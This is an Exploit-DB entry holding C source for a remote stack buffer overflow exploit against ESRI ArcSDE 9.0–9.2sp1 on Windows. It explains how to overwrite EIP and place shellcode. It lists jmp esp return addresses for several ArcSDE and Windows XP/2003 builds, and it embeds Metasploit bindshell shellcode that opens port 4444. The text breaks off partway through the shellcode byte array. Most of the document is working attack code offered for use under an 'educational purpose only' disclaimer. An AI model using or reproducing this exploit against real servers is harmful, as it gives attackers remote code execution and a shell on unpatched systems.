Exploit-DB #4146
Description: ESRI ArcSDE 9.0 < 9.2sp1 - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2007-07-03
Author: Heretic2

Exploit:
/* Dreatica-FXP crew
* 
* ----------------------------------------
* Target         : ESRI ArcSDE 9.0 - 9.2sp1 
* Site           : http://www.esri.com
* Found by       : iDefense, http://labs.idefense.com/intelligence/vulnerabilities/
* ----------------------------------------
* Exploit        : ESRI ArcSDE 9.0 - 9.2sp1 Remote Buffer Overflow exploit
* Exploit date   : 26.06.2007
* Exploit writer : Heretic2 (heretic2x@gmail.com)
* OS             : Windows ALL 
* Crew           : Dreatica-FXP
* ----------------------------------------
* Info           :   Trivially exploitable stack overflow vulnerability: if we send more than 516 bytes to 
*                  server, we can overwrite EIP. After the EIP gets overwritten we can see that the ESP 
*                  points to the next bytes of buffer after EIP, so we simply write shellcode at 520 byte.
*                  The server allows any type of buffer even with the 0x00 bytes, so have fun!
*                  For use universal RET's you need to find the ArcSDE version (this is not a trivial job :P) 
*
*                    Seems that the earlier versions are also vulnerable. To protect the server against that
*                  vulnerability you need to install ArcSDE 9.2sp2.
* ----------------------------------------
* Compiling      :
*  To compile this exploit you need:
*    1. Windows C/C++ compiler   
*    2. WinSock 2
* ----------------------------------------
* Thanks to      :
*       1. iDefense                    ( http://labs.idefense.com/intelligence/vulnerabilities/ )
*       2. The Metasploit project      ( http://metasploit.com                                  ) 
*       3. ALPHA 2: Zero-tolerance     ( <skylined [at] edup.tudelft.nl>                        ) 
*       4. anghell at Dreatica-FXP     (                                                        )
*       5. Dreatica-FXP crew           ( http://www.dreatica.cl                                 )
* ----------------------------------------
* This exploit was written for educational purpose only. Use it at your own risk. Author will be not be 
* responsible for any damage, caused by that code.
************************************************************************************
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
#include <ctime>
#pragma comment(lib,"ws2_32")


void usage(char * s);
void logo();
void end_logo();
void prepare_shellcode(unsigned char * fsh, int sh, char * cbip, int cbport, char * url);
void make_buffer(unsigned char * buf, unsigned int * len, int itarget, int sh, char * cbip, int cbport, char * url);
int get_version(char * remotehost, int port);
int send_buffer(unsigned char * buf, unsigned int len, char * remotehost, int port);
SOCKET do_connect (char *remotehost, int port);
SOCKET do_connect_async (char *remotehost, int port);
int alphanumeric_encoder_thx_to_skylined(char *to_encode, char *encoded );

static long timeout = 2000 ; // 2 sec


// -----------------------------------------------------------------
// XGetopt.cpp  Version 1.2
// -----------------------------------------------------------------
int getopt(int argc, char *argv[], char *optstring);
char	*optarg;		// global argument pointer
int		optind = 0, opterr; 	// global argv index
// -----------------------------------------------------------------
// -----------------------------------------------------------------



struct _target{
	const char *t ;
	unsigned long ret ;	
} targets[]=
		{
			{"UNIV: AcrSDE 9.0 [sdesqlsrvr90.dll] ( MSSQL )",  0x1015c357 },// jmp esp
			{"UNIV: AcrSDE 9.1 [sdesqlsrvr91.dll] ( MSSQL )",  0x1015e3e7 },// jmp esp
			{"UNIV: AcrSDE 9.2 [sdesqlsrvr92.dll] ( MSSQL )",  0x1008d742 },// jmp esp			
			{"Windows XP   SP0 RUSSIAN [shell32.dll]",         0x77a96758 },// jmp esp
			{"Windows XP   SP1 RUSSIAN [advapi32.dll]",        0x77e1d9d3 },// jmp esp
			{"Windows XP   SP2 RUSSIAN [shell32.dll]",         0x7d16817f },// jmp esp
			{"Windows XP   SP2 ENGLISH [ole32.dll]",           0x77548952 },// jmp esp
			{"Windows XP   SP2 DUTCH   [ntdll.dll]",           0x7c941eed },// jmp esp
			{"Windows 2003 SP0 ENGLISH [shell32.dll]",         0x77add723 },// jmp esp
			{"Debug / DoS",                                    0x42424242 },
			{NULL,										       0x00000000 }
		};


struct {
	const char * name;
	int length;
	char * shellcode;	
}shellcodes[]={ 	
	 {"Bindshell, port 4444   [ args: none ]", 696, 
		 /* win32_bind -  EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com */
		"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x37\x49\x49\x49"
		"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x42"
		"\x58\x50\x30\x42\x31\x41\x42\x6b\x42\x41\x52\x42\x32\x42\x41\x32"
		"\x41\x41\x30\x41\x41\x58\x50\x38\x42\x42\x75\x6a\x49\x4b\x4c\x62"
		"\x4a\x68\x6b\x30\x4d\x59\x78\x49\x69\x4b\x4f\x79\x6f\x69\x6f\x71"
		"\x70\x4e\x6b\x32\x4c\x51\x34\x64\x64\x6e\x6b\x41\x55\x77\x4c\x4c"
		"\x4b\x71\x6c\x35\x55\x64\x38\x54\x41\x58\x6f\x4c\x4b\x30\x4f\x47"
		"\x68\x4e\x6b\x53\x6f\x47\x50\x74\x41\x58\x6b\x70\x49\x4c\x4b\x35"
		"\x64\x6c\x4b\x36\x61\x68\x6e\x57\x41\x79\x50\x6f\x69\x4c\x6c\x6c"
		"\x44\x4b\x70\x63\x44\x43\x37\x5a\x61\x78\x4a\x44\x4d\x36\x61\x6a"
		"\x62\x38\x6b\x78\x74\x77\x4b\x51\x44\x74\x64\x76\x48\x51\x65\x4a"
		"\x45\x4e\x6b\x73\x6f\x61\x34\x55\x51\x5a\x4b\x71\x76\x6c\x4b\x64"
		"\x4c\x72\x6b\x4e\x6b\x63\x6f\x57\x6c\x75\x51\x7a\x4b\x33\x33\x34"
		"\x6c\x6c\x4b\x6e\x69\x72\x4c\x45\x74\x45\x4c\x30\x61\x4f\x33\x50"
		"\x31\x69\x4b\x61\x74\x6c\x4b\x57\x33\x66\x50\x4e\x6b\x43\x70\x64"
		"\x4c\x6e\x6b\x32\x50\x65\x4c\x6e\x4d\x6e\x6b\x77\x30\x67\x78\x31"
		"\x4e\x33\x58\x6c\x4e\x30\x4e\x34\x4e\x5a\x4c\x50\x50\x4b\x4f\x69"
		"\x46\x72\x46\x62\x73\x70\x66\x35\x38\x57\x43\x35\x62\x45\x38\x30"
		"\x77\x63\x43\x44\x72\x71\x4f\x71\x44\x79\x6f\x4a\x70\x73\x58\x78"
		"\x4b\x48\x6d\x4b\x4c\x77\x4b\x